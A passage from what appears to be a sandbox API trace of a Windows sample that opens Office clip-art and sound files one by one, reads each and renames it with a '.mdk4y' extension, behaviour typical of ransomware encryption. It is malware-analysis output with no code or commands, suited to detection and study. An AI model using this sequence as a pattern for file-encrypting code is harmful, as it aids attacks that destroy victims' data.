Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825518900000) returned 1 [0179.959] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb34e, lpOverlapped=0x0) returned 1 [0179.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825519800000) returned 1 [0179.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825519800000) returned 1 [0179.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.mdk4y")) returned 1 [0179.970] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.970] AreFileApisANSI () returned 1 [0179.970] GetACP () returned 0x4e4 [0179.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212219.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212219.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.970] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825520200000) returned 1 [0179.972] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11be, lpOverlapped=0x0) returned 1 [0179.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825522800000) returned 1 [0179.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825522800000) returned 1 [0179.998] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.mdk4y")) returned 1 [0180.000] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.000] AreFileApisANSI () returned 1 [0180.000] GetACP () returned 0x4e4 [0180.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212661.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212661.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825523000000) returned 1 [0180.000] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x248e, lpOverlapped=0x0) returned 1 [0180.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825525000000) returned 1 [0180.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825525000000) returned 1 [0180.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.mdk4y")) returned 1 [0180.021] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.021] AreFileApisANSI () returned 1 [0180.021] GetACP () returned 0x4e4 [0180.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212701.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212701.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.022] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825525200000) returned 1 [0180.022] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb7a, lpOverlapped=0x0) returned 1 [0180.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825526700000) returned 1 [0180.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825526700000) returned 1 [0180.037] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.mdk4y")) returned 1 [0180.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.039] AreFileApisANSI () returned 1 [0180.039] GetACP () returned 0x4e4 [0180.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0212957.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0212957.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825526900000) returned 1 [0180.039] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2424, lpOverlapped=0x0) returned 1 [0180.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825530800000) returned 1 [0180.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825530800000) returned 1 [0180.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.mdk4y")) returned 1 [0180.080] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.080] AreFileApisANSI () returned 1 [0180.080] GetACP () returned 0x4e4 [0180.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0214098.WAV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0214098.WAV", lpUsedDefaultChar=0x37df4c) returned 12 [0180.080] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825531100000) returned 1 [0180.081] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x68ba, lpOverlapped=0x0) returned 1 [0180.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825536200000) returned 1 [0180.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825536200000) returned 1 [0180.133] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.mdk4y")) returned 1 [0180.179] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.179] AreFileApisANSI () returned 1 [0180.179] GetACP () returned 0x4e4 [0180.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0215086.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0215086.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.179] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825541000000) returned 1 [0180.181] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d3a, lpOverlapped=0x0) returned 1 [0180.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825543700000) returned 1 [0180.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825543700000) returned 1 [0180.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.mdk4y")) returned 1 [0180.209] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.209] AreFileApisANSI () returned 1 [0180.209] GetACP () returned 0x4e4 [0180.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216516.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216516.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.209] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825544000000) returned 1 [0180.210] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3138, lpOverlapped=0x0) returned 1 [0180.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825546700000) returned 1 [0180.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825546700000) returned 1 [0180.239] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.mdk4y")) returned 1 [0180.240] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.240] AreFileApisANSI () returned 1 [0180.240] GetACP () returned 0x4e4 [0180.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216588.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216588.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.240] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825547100000) returned 1 [0180.241] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c06, lpOverlapped=0x0) returned 1 [0180.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825549600000) returned 1 [0180.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825549600000) returned 1 [0180.267] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.mdk4y")) returned 1 [0180.268] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.268] AreFileApisANSI () returned 1 [0180.268] GetACP () returned 0x4e4 [0180.268] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216724.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216724.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.268] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825549900000) returned 1 [0180.269] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5d78, lpOverlapped=0x0) returned 1 [0180.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825550000000) returned 1 [0180.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825550100000) returned 1 [0180.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf.mdk4y")) returned 1 [0180.271] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.271] AreFileApisANSI () returned 1 [0180.271] GetACP () returned 0x4e4 [0180.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216858.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216858.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.272] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825550200000) returned 1 [0180.272] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2dc4, lpOverlapped=0x0) returned 1 [0180.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825556500000) returned 1 [0180.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825556500000) returned 1 [0180.336] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216858.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216858.wmf.mdk4y")) returned 1 [0180.337] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.337] AreFileApisANSI () returned 1 [0180.337] GetACP () returned 0x4e4 [0180.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0217698.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0217698.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.337] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825556800000) returned 1 [0180.338] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1aea, lpOverlapped=0x0) returned 1 [0180.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825558100000) returned 1 [0180.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825558200000) returned 1 [0180.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0217698.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0217698.wmf.mdk4y")) returned 1 [0180.353] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.353] AreFileApisANSI () returned 1 [0180.353] GetACP () returned 0x4e4 [0180.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0221903.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0221903.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.353] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825558500000) returned 1 [0180.356] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3838, lpOverlapped=0x0) returned 1 [0180.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825562600000) returned 1 [0180.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825562600000) returned 1 [0180.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0221903.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0221903.wmf.mdk4y")) returned 1 [0180.397] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.397] AreFileApisANSI () returned 1 [0180.397] GetACP () returned 0x4e4 [0180.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0222015.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0222015.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.397] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825562900000) returned 1 [0180.399] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78a, lpOverlapped=0x0) returned 1 [0180.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825568400000) returned 1 [0180.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825568400000) returned 1 [0180.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.mdk4y")) returned 1 [0180.455] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.455] AreFileApisANSI () returned 1 [0180.455] GetACP () returned 0x4e4 [0180.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0222017.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0222017.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.455] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825568600000) returned 1 [0180.456] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | 